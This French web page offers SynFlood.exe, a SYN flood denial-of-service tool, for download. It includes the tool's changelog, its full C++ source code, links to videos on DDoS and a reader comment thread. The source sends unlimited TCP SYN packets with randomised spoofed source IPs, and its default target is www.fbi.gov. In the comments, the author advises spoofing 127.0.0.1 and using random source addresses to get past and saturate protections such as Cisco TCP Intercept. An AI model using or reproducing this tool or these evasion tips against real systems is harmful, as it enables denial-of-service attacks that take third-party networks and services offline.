Outil d’attaque par saturation de SYN TCP
Sommaire
1 – Définition de l’exécutable
L’utilitaire SynFlood permet l’envoi massif de demande d’ouverture de session TCP. L’intérêt de cette utilitaire est de pouvoir changer son IP source de manière aléatoire.
2 – Screen shot
3 – Download
Nom : SynFlood.exe (Fichier zippé car Google le concidère comme dangereux. Le mot de passe du zip est : frameip.com)
Mode : Console
Version : 2.3
Librairie : 3.10
Taille : 60 Ko
Auteur : _SebF
Date de création : 23 Juillet 2003
Dernière compilation : 26 Août 2006
4 – Suivi du développement
4.1 – Problème restant
4.2 – RoadMap
4.3 – Suivi du projet
- V2.3.3.10
Merci à SAAD :
Compilation en mode release avec optimisation du code source par MS VC++
Accélération de l’exécution en sourtant les ouverture et fermeture d’interface en dehors de la boucle.
Ajout de l’argument -view permettant de supprimer l’affichage permettant ainsi un gain de performance.
Le champs séquence TCP est tiré aléatoirement entre 0 et FFFFFFFF alors qu’avant, c’était entre à et FFFF - V2.2.3.10
Possibilité d’utiliser / au lieu de – dans les arguments
changement des noms de variables de port_source à tcp_port_source idem de port_destination à tcp_port_destination
Ajout de l’indication des port TCP dans l’affichage du résultat - V2.1.3.10
Recompilation en Libpcap apportant les nouvelles options : -send_mode -interface -mac_source -mac_source_auto -mac_destination -mac_destination_auto -mac_type
Résolution du problème où une requête DNS www.fbi.org était dans tous les cas émise, mais quand on spécifiait une IP dans ip_destination - V1.8.3.5
Passage à la nouvelle entête Tcp
Compilation Visual Sutudio .net 2003 Architect - V1.8.3.5
Changement de l’email dans l’aide.
Remplacement de l’email par l’url www.frameip.com dans les data. - V1.7.3.5
Suite à la correction en version 1.5, l’aide n’affiché plus la bonne valeur du port destination. - V1.6.3.4
Affectation d’un numéro de version pour la librairie.
Ajout du paramètre data_size. - V1.5
Correction du problème port tcp de destination par défaut était faux, il manquait htons à l’initialisation. - V1.4
Possibilité, dans les arguments, de selectionner 0 pour port_source et ip_source.
Modification du code de bouclage infinie pour traiter le conditionnement dans la procédure des arguments.
Changement de l’ip_destination par defaut à www.fbi.gov. - V1.3
Résolution du problème du mauvais checksum TCP. Correction effectuée dans la librairie. - V1.2
Random de l’IP source et passage de la procédure dans la librairie.
Random de Seq TCP.
Random de ID IP.
Random de Port_source. - V1.1
Résolution du problème de numéro de port. Passage de u char en u short dans le traitement de l’argument.
Intégration des arguments port_source et port_destination.
Initialiser l’entête TCP pour le SYN.
Résolution du problème où Netmon ne voit pas la trame comme du TCP. La solution est de bien positionner le champ Offset qui représente la longueur de l’entête TCP. - V1.0
Création du projet Cmd.
Passage en Level 4.
Suppression du répertoire Debug.
Ajout de /NODEFAULTLIB:libcd.lib dans la compilation.
5 – Code source
5.1 – SynFlood.cpp
// ********************************************
// Nom : SynFlood.cpp
// Auteur : _SebF@frameIP.com.pas.de.spam
// Date de création : 23 Juillet 2003
// version : 2.3.3.10
// Licence : Cette executable est libre de toute utilisation.
// La seule condition existante est de faire référence
// au site http://www.frameip.com afin de respecter le travail d'autrui.
// ********************************************
// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
#include "LibrairieSocket.h"
#include "pcap.h"
// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command Line :
// /NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap/NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"\Lib"
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")
// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void initiation_des_variables_automatiques(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);
// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac; // Entête Ethernet
struct ipv4 entete_ipv4; // Entete IP
struct tcp entete_tcp; // Entete TCP
char data_a_envoyer[65535]; // Data
unsigned int taille_de_data; // Longueur du char *, je n'utilise pas strlen car il peux y avoir des 0
unsigned char trame_a_envoyer[65535]; // Entete IP + data + entete ethernet si send_mode=1
unsigned short taille_de_la_trame_a_envoyer=0; // Permet d'éviter un sizeof qui s'arrête au premier 0 trouvé
int nombre_de_caractere_emis; // Variable récupérant le nombre de caractères émis
unsigned long loops; // Compteur permettant de lancer x fois les trames
char ip_source_initiale[16]; // Adresse IP Source permettant d'initier entete_ipv4.ip_source
char ip_destination_initiale[16]; // Adresse IP Destination permettant d'initier entete_ipv4.ip_destination
bool bouclage_infinie; // Variable permettant de définir le mode de boucle infinie (quand loops=0)
bool ip_source_aleatoire; // Acive ou désactive le mode IP Source Aléatoire
bool port_source_aleatoire; // Acive ou désactive le mode Port Source Aléatoire
unsigned int choix_mode_d_envoi; // Variable définissant le mode d'envoi (0=Soket - 1=Libpcap)
unsigned char numero_de_l_interface; // Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon; // Adresse MAC
bool mac_destination_auto; // Variable permettant de savoir si l'adresse MAC de destination doit être résolu en ARP
bool mac_source_auto; // Variable permettant de savoir si l'adresse MAC source doit être prise à partir de l'interface
bool view; // Variable indiquant si on doit afficher les resultats
WSADATA initialisation_win32;
SOCKADDR_IN information_sur_la_destination;
SOCKET id_de_la_socket;
int on=1; // Permet de paramétrer la fonction SetSockOpt
pcap_t *pointeur_interface; // Pointeur de l'interface
char buffer_d_erreur[PCAP_ERRBUF_SIZE];
int main (int argc, char* argv[])
{
initiation_des_variables();
gestion_des_arguments(argc,argv);
initiation_des_variables_automatiques();
// ********************************************************
// Initialisation de la Socket et de l'interface
// ********************************************************
if (choix_mode_d_envoi==0)
{
// ********************************************************
// Initialisation de la Socket
// ********************************************************
if (WSAStartup(MAKEWORD(2,2),&initialisation_win32)!=0)
gestion_des_erreurs(1,"WSAStartup",1,1);
// ********************************************************
// Ouverture d'une Socket
// ********************************************************
id_de_la_socket=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if (id_de_la_socket==INVALID_SOCKET)
gestion_des_erreurs(1,"socket",1,1);
// ********************************************************
// Activation de l'option permettant d'inclure l'entete IP lors de l'emission
// ********************************************************
if (setsockopt(id_de_la_socket,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on))!=0)
gestion_des_erreurs(1,"setsockopt",1,1);
}
else
{
// ********************************************************
// Accède à l'interface
// ********************************************************
if ((pointeur_interface=pcap_open_live( liste_des_interfaces.nom[numero_de_l_interface], 65536,0,1000,buffer_d_erreur))==NULL)
gestion_des_erreurs(1,"pcap_open_live",1,1);
}
// ********************************************************
// Boucle d'envoi
// ********************************************************
while ( (loops!=0)||(bouclage_infinie==TRUE) )
{
// ********************************************************
// Décrémentation de la boucle
// ********************************************************
loops--;
// ********************************************************
// Changement aléatoire des champs
// ********************************************************
Changement_aleatoire_des_valeurs();
// ********************************************************
// Envoi de la trame
// ********************************************************
if (choix_mode_d_envoi==0)
envoi_de_la_trame_winsock();
else
envoi_de_la_trame_pcap();
// ********************************************************
// Affichage du résultat
// ********************************************************
if (view==true)
affichage_du_resultat();
}
// ********************************************************
// Fermeture de la socket et de l'interface
// ********************************************************
if (choix_mode_d_envoi==0)
{
// ********************************************************
// Fermeture de la socket correspondant à la commande socket()
// ********************************************************
closesocket(id_de_la_socket);
// ********************************************************
// quite propement le winsock ouvert avec la commande WSAStartup
// ********************************************************
WSACleanup(); // (A appeller autant de fois qu'il a été ouvert)
}
else
{
// ********************************************************
// Fermeture de l'accès à l'interface
// ********************************************************
pcap_close(pointeur_interface);
}
printf("\n\n");
return(1);
}
void initiation_des_variables(void)
{
unsigned i;
// ********************************************************
// Initiation diverse
// ********************************************************
srand(GetTickCount()); // Initialise le Random
// ********************************************************
// Affichage de la banniere
// ********************************************************
printf("\nSynFlood - Send SYN TCP with spoofing IP Source - Version 2.3.3.10");
printf("\nCreate on July 23, 2003, Last compilation on August 26, 2006");
printf("\nCreated by sebastien.fontaine@frameip.com.pas.de.spam");
printf("\n");
// ********************************************************
// Initiation des arguments
// ********************************************************
strcpy(ip_destination_initiale,"www.fbi.gov");
port_source_aleatoire=TRUE;
ip_source_aleatoire=TRUE;
loops=1;
bouclage_infinie=FALSE;
choix_mode_d_envoi=1;
numero_de_l_interface=0;
liste_des_interfaces=recuperation_des_interfaces();
view=true;
// ********************************************************
// Options de l'entête MAC
// ********************************************************
adresse_mac_tampon=recuperation_de_l_adresse_mac( liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
{
entete_mac.source[i]=adresse_mac_tampon.adresse[i];
entete_mac.destination[i]=255;
}
mac_source_auto=true;
mac_destination_auto=false;
entete_mac.type=htons(2048); // 08 00 indiquant un datagramme IP
// ********************************************************
// Initialisation de l'entete Ip
// ********************************************************
entete_ipv4.ihl=5;
entete_ipv4.version=4;
entete_ipv4.tos=0;
entete_ipv4.length=0;
entete_ipv4.id=0; // Il est initialisé plutard
entete_ipv4.offset=0;
entete_ipv4.ttl=100;
entete_ipv4.type=6;
entete_ipv4.ip_source=0; // Il est initialisé plutard
// ********************************************************
// Initialisation de l'entete TCP
// ********************************************************
entete_tcp.port_source=0; // Il est initialisé plutard
entete_tcp.port_destination=htons(80);
entete_tcp.sequence=0; // Il est initialisé plutard
entete_tcp.accuse=0;
entete_tcp.reserved=0;
entete_tcp.offset=5; // taille de l'entête Tcp
entete_tcp.flag_fin=0;
entete_tcp.flag_syn=1;
entete_tcp.flag_rst=0;
entete_tcp.flag_psh=0;
entete_tcp.flag_ack=0;
entete_tcp.flag_urg=0;
entete_tcp.reserved2=0;
entete_tcp.window=htons(16384); // Valeur relevée dans un Netmon après un "Telnet IP port"
entete_tcp.checksum=0;
entete_tcp.pointeur=0;
// ********************************************************
// Initialisation des data
// ********************************************************
strcpy(data_a_envoyer,"www.frameip.com");
taille_de_data=(unsigned int)strlen(data_a_envoyer);
}
void gestion_des_arguments(int argc,char* argv[])
{
char *caractere_non_convertit;
int i,j;
bool ip_destination_modofie=false;
unsigned int tampon; // pour le redimentionnement de la data
// ********************************************************
// Affichage de l'aide
// ********************************************************
if ( (argc>1) && (strcmp(argv[1],"-?")==0) || (argc==1) )
{
printf("\n");
printf("\nGENERAL OPTIONS");
printf("\n-? This help");
printf("\n-send_mode 0=Soket 1=Libpcap Defaut: %d",choix_mode_d_envoi);
printf("\n-loops Number of loops Default value: %d (0 to no stop)",loops);
printf("\n-view Show the answers Default value: %d",view);
printf("\n\nFREE INTERFACES");
for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
printf("\n%d - %s",i,liste_des_interfaces.description[i]);
printf("\n-interface Interface choice Defaut: %d",numero_de_l_interface);
printf("\n\nETHERNET HEADER OPTIONS (-send_mode 1)");
printf("\n-mac_source @ Ethernet Defaut: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_mac.source[0], entete_mac.source[2],entete_mac.source[2],entete_mac.source[3], entete_mac.source[4],entete_mac.source[5]);
printf("\n-mac_source_auto Between 0 or 1 Defaut: %d (1 => MAC from interface)",mac_source_auto);
printf("\n-mac_destination @ Ethernet Defaut: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X", entete_mac.destination[0],entete_mac.destination[2],entete_mac.destination[2], entete_mac.destination[3],entete_mac.destination[4], entete_mac.destination[5]);
printf("\n-mac_destination_auto Between 0 or 1 Defaut: %d (1 => MAC from @IP)",mac_destination_auto);
printf("\n-mac_type Between 0 & 65535 Defaut: %d",htons(entete_mac.type));
printf("\n\nIP HEADER OPTIONS (-mac_type 2048)");
printf("\n-ip_source @IP source Default: %d (0 to randomize)",entete_ipv4.ip_source);
printf("\n-ip_destination @IP destination Default: %s",ip_destination_initiale);
printf("\n\nTCP HEADER OPTIONS (-ip_type 6)");
printf("\n-tcp_port_source Between 0 & 65535 Default: %d (0 to randomize)",entete_tcp.port_source);
printf("\n-tcp_port_destination Between 0 & 65535 Default: %d",htons(entete_tcp.port_destination));
printf("\n\nOPTIONS OF THE DATA LAYER");
printf("\n-data_size size of data Default: %d",taille_de_data);
printf("\n\nSAMPLE");
printf("\nsynflood.exe -interface 2 -ip_destination www.yahoo.fr -loops 100");
printf("\n\n");
exit(0);
}
// ********************************************************
// Récupération des arguments
// ********************************************************
for (i=1;i<argc;i=i+1)
{
// ********************************************************
// Choix généraux
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-loops")==0) || (strcmp(strlwr(argv[i]),"/loops")==0) )
{
loops=(unsigned long)strtod(argv[i+1],&caractere_non_convertit);
if (loops==0)
bouclage_infinie=TRUE;
else
bouclage_infinie=FALSE;
}
if ( (strcmp(strlwr(argv[i]),"-send_mode")==0) || (strcmp(strlwr(argv[i]),"/send_mode")==0) )
{
choix_mode_d_envoi=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
if (choix_mode_d_envoi!=1)
choix_mode_d_envoi=0;
}
if ( (strcmp(strlwr(argv[i]),"-view")==0) || (strcmp(strlwr(argv[i]),"/view")==0) )
view=(bool)strtod(argv[i+1],&caractere_non_convertit);
// ********************************************************
// Choix de l'interface
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-interface")==0) || (strcmp(strlwr(argv[i]),"/interface")==0) )
numero_de_l_interface=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
// ********************************************************
// Options de l'entête MAC
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-mac_source")==0) || (strcmp(strlwr(argv[i]),"/mac_source")==0) )
{
adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
for (j=0;j<6;j++)
entete_mac.source[j]=adresse_mac_tampon.adresse[j];
}
if ( (strcmp(strlwr(argv[i]),"-mac_source_auto")==0) || (strcmp(strlwr(argv[i]),"/mac_source_auto")==0) )
if ((unsigned char)strtod(argv[i+1],&caractere_non_convertit)==1)
mac_source_auto=true;
else
mac_source_auto=false;
if ( (strcmp(strlwr(argv[i]),"-mac_destination")==0) || (strcmp(strlwr(argv[i]),"/mac_destination")==0) )
{
adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
for (j=0;j<6;j++)
entete_mac.destination[j]=adresse_mac_tampon.adresse[j];
}
if ( (strcmp(strlwr(argv[i]),"-mac_destination_auto")==0) || (strcmp(strlwr(argv[i]),"/mac_destination_auto")==0) )
if ((unsigned char)strtod(argv[i+1],&caractere_non_convertit)==1)
mac_destination_auto=true;
else
mac_destination_auto=false;
if ( (strcmp(strlwr(argv[i]),"-mac_type")==0) || (strcmp(strlwr(argv[i]),"/mac_type")==0) )
entete_mac.type=htons((unsigned short)strtod(argv[i+1],&caractere_non_convertit));
// ********************************************************
// Options de l'entête IP
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-ip_source")==0) || (strcmp(strlwr(argv[i]),"/ip_source")==0) )
if (argv[i+1]==0)
ip_source_aleatoire=TRUE;
else
{
ip_source_aleatoire=FALSE;
entete_ipv4.ip_source=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
}
if ( (strcmp(strlwr(argv[i]),"-ip_destination")==0) || (strcmp(strlwr(argv[i]),"/ip_destination")==0) )
{
entete_ipv4.ip_destination=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
ip_destination_modofie=true;
}
// ********************************************************
// Options de l'entête TCP
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-tcp_port_source")==0) || (strcmp(strlwr(argv[i]),"/tcp_port_source")==0) )
if (argv[i+1]==0)
port_source_aleatoire=TRUE;
else
{
port_source_aleatoire=FALSE;
entete_tcp.port_source=htons((unsigned short)strtod(argv[i+1],&caractere_non_convertit));
}
if ( (strcmp(strlwr(argv[i]),"-tcp_port_destination")==0) || (strcmp(strlwr(argv[i]),"/tcp_port_destination")==0) )
entete_tcp.port_destination= htons((unsigned short) strtod(argv[i+1],&caractere_non_convertit));
// ********************************************************
// Options de la couche DATA
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-data_size")==0) || (strcmp(strlwr(argv[i]),"/data_size")==0) )
{
tampon=(unsigned int)strtod(argv[i+1],&caractere_non_convertit);
memcpy(data_a_envoyer, dimensionnement_de_data_a_envoyer(false,data_a_envoyer, taille_de_data,tampon),tampon);
taille_de_data=tampon;
}
}
// ********************************************************
// Résoud le nom spécifié en initialisation
// ********************************************************
// Fait ici pour éviter de le résoudre si l'utilisateur spécifi une IP
if (ip_destination_modofie==false)
entete_ipv4.ip_destination=(unsigned long)resolution_de_nom(FALSE,ip_destination_initiale);
}
void Changement_aleatoire_des_valeurs()
{
// ********************************************************
// Random de l'IP Source
// ********************************************************
if (ip_source_aleatoire==TRUE)
entete_ipv4.ip_source=generation_d_une_adresse_ip_aleatoire(0);
// ********************************************************
// Random de l'ID IP
// ********************************************************
entete_ipv4.id=(unsigned short)(rand()%65536); // Tire entre 0 et 65535
// ********************************************************
// Random du Port Source
// ************************************************* *******
if (port_source_aleatoire==TRUE)
entete_tcp.port_source=(unsigned short)(rand()%64511+1+1024); // Tire entre 1025 et 65535
// ********************************************************
// Random de la séquence TCP
// ********************************************************
entete_tcp.sequence=(unsigned long)((rand()%65536)*(rand()%65536)); // Tire entre 0 et 4294967295
}
void initiation_des_variables_automatiques(void)
{
unsigned int i; // Pour les boucles for
// ********************************************************
// Préparation des adresses MAC
// ********************************************************
if (mac_source_auto==true)
{
adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
entete_mac.source[i]=adresse_mac_tampon.adresse[i];
}
if (mac_destination_auto==true)
{
adresse_mac_tampon=resolution_arp( liste_des_interfaces.nom[numero_de_l_interface], 0,ip_destination_initiale,3);
for (i=0;i<6;i++)
entete_mac.destination[i]=adresse_mac_tampon.adresse[i];
}
}
void envoi_de_la_trame_winsock(void)
{
// ********************************************************
// Calcul du checksum TCP
// ********************************************************
entete_tcp.checksum=calcul_du_checksum_tcp(false,entete_ipv4.ip_source,entete_ipv4.ip_destination, entete_tcp,data_a_envoyer,taille_de_data);
// ********************************************************
// Préparation de la trame à envoyé
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short *)&entete_ipv4, sizeof(struct ipv4));
memcpy(trame_a_envoyer+sizeof(struct ipv4), (unsigned short *)&entete_tcp,sizeof(struct tcp));
memcpy(trame_a_envoyer+sizeof(struct ipv4)+ sizeof(struct tcp),data_a_envoyer,taille_de_data);
// ********************************************************
// Paramètre nécessaire au sendto
// ********************************************************
information_sur_la_destination.sin_family=AF_INET;
information_sur_la_destination.sin_addr.s_addr=entete_ipv4.ip_destination;
// ********************************************************
// Envoi de la trame en winsock
// ********************************************************
taille_de_la_trame_a_envoyer=sizeof(struct ipv4)+sizeof(struct tcp)+(unsigned short)taille_de_data;
nombre_de_caractere_emis=sendto(id_de_la_socket,(char *)trame_a_envoyer, taille_de_la_trame_a_envoyer,0, (struct sockaddr*)&information_sur_la_destination,sizeof(information_sur_la_destination));
if (nombre_de_caractere_emis==-1)
gestion_des_erreurs(1,"sendto",1,1);
}
void envoi_de_la_trame_pcap(void)
{
// ********************************************************
// Calcul du checksum TCP
// ********************************************************
entete_tcp.checksum=calcul_du_checksum_tcp(FALSE,entete_ipv4.ip_source, entete_ipv4.ip_destination,entete_tcp, data_a_envoyer,taille_de_data);
// ********************************************************
// Calcul de la longueur totale
// ********************************************************
entete_ipv4.length=htons((unsigned short)(sizeof(struct ipv4)+sizeof(struct tcp)+taille_de_data));
// ********************************************************
// Calcul du checksum IP
// ********************************************************
entete_ipv4.checksum=calcul_du_checksum_ip(false,entete_ipv4);
// ********************************************************
// Préparation de la trame à envoyé
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short *)&entete_mac,sizeof(struct mac));
memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short *)&entete_ipv4,sizeof(struct ipv4));
memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct ipv4),(unsigned short *)&entete_tcp,sizeof(struct tcp));
memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct ipv4)+sizeof(struct tcp),data_a_envoyer,taille_de_data);
// ********************************************************
// Envoi de la trame
// ********************************************************
taille_de_la_trame_a_envoyer=sizeof(struct mac)+sizeof(struct ipv4)+sizeof(struct tcp)+(unsigned short)taille_de_data;
if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,taille_de_la_trame_a_envoyer)!=0)
gestion_des_erreurs(1,"pcap_sendpacket",1,1);
}
void affichage_du_resultat()
{
struct in_addr convertion_inet_addr;
// ********************************************************
// Affichage du resultat
// ********************************************************
convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_source;
printf("\nThe SYN TCP was sent from %s:%d",inet_ntoa(convertion_inet_addr),htons(entete_tcp.port_source));
convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_destination;
printf(" to %s:%d - %d Bytes",inet_ntoa(convertion_inet_addr),htons(entete_tcp.port_destination),taille_de_la_trame_a_envoyer);
}
6 – Les vidéos
6.1 - Types of DDoS Attacks Explained
Businesses large and small, ecommerce sites, and government institutions are all highly susceptible to Distributed Denial of Service (DDoS) attacks in today's advanced cyber world. Downtime, lost revenue, and brand tarnishment are all byproducts of a DDoS attack, making these threats potentially detrimental to any organization. This video explains the different types of DDoS attacks and how best to prevent them.
6.2 - Mitigate DDoS Attacks in 60 Seconds
Cette vidéo en anglais vous présente de manière ludique un ensemble d'information autour des attaques de type DDOS (Distributed Denial of Service).
6.3 - Présentation de Synflood en comédie ludique
Cette vidéo en anglais vous présente de manière très ludique et orginale ce qu'est un Synflood.
6.4 - Preventing TCP Synflood Attacks
Cette vidéo en anglais vous présente comment contrer les attaques de type Synflood TCP. This video will take a look at what exactly a syn-flood attack is, how to stop a syn-flood attack at the ASA firewall, and how to implement and test these techniques to verify they work.
6.5 - Thwarting DDoS Attacks
Cette vidéo en anglais vous présente comment contrer les attaques de type DDOS (Distributed Denial of Service). Distributed Denial of Service (DDoS) attacks vary more than the types of bread at a global deli. They are easy to launch and one of the biggest security problems on the network today because they stop your network from functioning. Watch this special Security edition of Networking 101 and learn more about this threat and how you can prevent it. There are two types of DDoS attacks: a network-centric attack, which overloads a service by using up bandwidth, and an application-layer attack, which overloads a service or database with application calls. The outcome is the same-they stop your network.
6.6 - Spoofing d'adresse IP
Cette vidéo présente le concept du spoofing d'adresse IP. A travers cet épisode, vous pourrez comprendre par quels moyens une personne lambda peut voler votre adresse IP en répondant plus rapidement que vous, grâce aux requêtes de type ARP.
7 – Discussion autour de l’outil d’attaque par saturation de SYN TCP
Vous pouvez poser toutes vos questions, faire part de vos remarques et partager vos expériences à propos de l’outil d’attaque par saturation de SYN TCP. Pour cela, n’hésitez pas à laisser un commentaire ci-dessous :
Bonsoir,
Pour le Spoofing d’adresse IP, que se passerait il si on lance un syn flooding avec comme adresse origine l’adresse de destination c’est à dite adresse ip source=adresse Ip destination
Lu Zilak,
C’est une bonne idée. Le récepteur enverra alors son Syn/Ack à lui même.
Excepté si il a une protection contre of course.
Pour pousser l’idée, il faut essayer avec comme source 127.0.0.1, tu risque de passer outre certaine protection logicielle 🙂
@+
Sebastien FONTAINE
Merci pour la réponse .
Si jamais on a TCP Intercept comme protection je me demande si en Mode TCP Intercept le dispositif CISCO sur lequel est configuré TCP Intercept et la cible ne vont pas devenir indisponibles ?
En mode Watch je pense que la protection TCP intercept ne servira à rien
Est-ce vos avis aussi?
Cordialement
Lu Zilak,
Si tu flood en mettant une ip source en random et différente à chaque SYN, alors ton intercepteur va rapidement saturer 🙂
@+
Sebastien FONTAINE
Bonjour,
Merci je vois clair maintenant.
Par contre si on fait une attaque lente avec SlowLoris par exemple est ce que l’intercepteur peut assurer la protection ou il reste passif à ce genre d’attaque?
Cordialement
Lu Zilak,
Pour que l’attaque soit efficace, il faut qu’elle soit agressive. Plus elle sera lente et moin cela fonctionnera car les SYn ont une durée de vie 🙂
@+
Sebastien FONTAINE
Ok c’est parfait
Merci et bonne journée
Cordialement
Bonjour,
J’ai pas trop compris votre code et j’aimerais le comprendre si possible.
Enfaite je fais un projet de fin d’étude et je fais attaque ddos avec utilisation de TCP-SYN flooding du coup j’ai besoin d’informations sur cette attaque merci.
Lu Diallo,
Pas de soucis, poses tes questions et j’y répondrais avec plaisirs 🙂
@+
Sebastien FONTAINE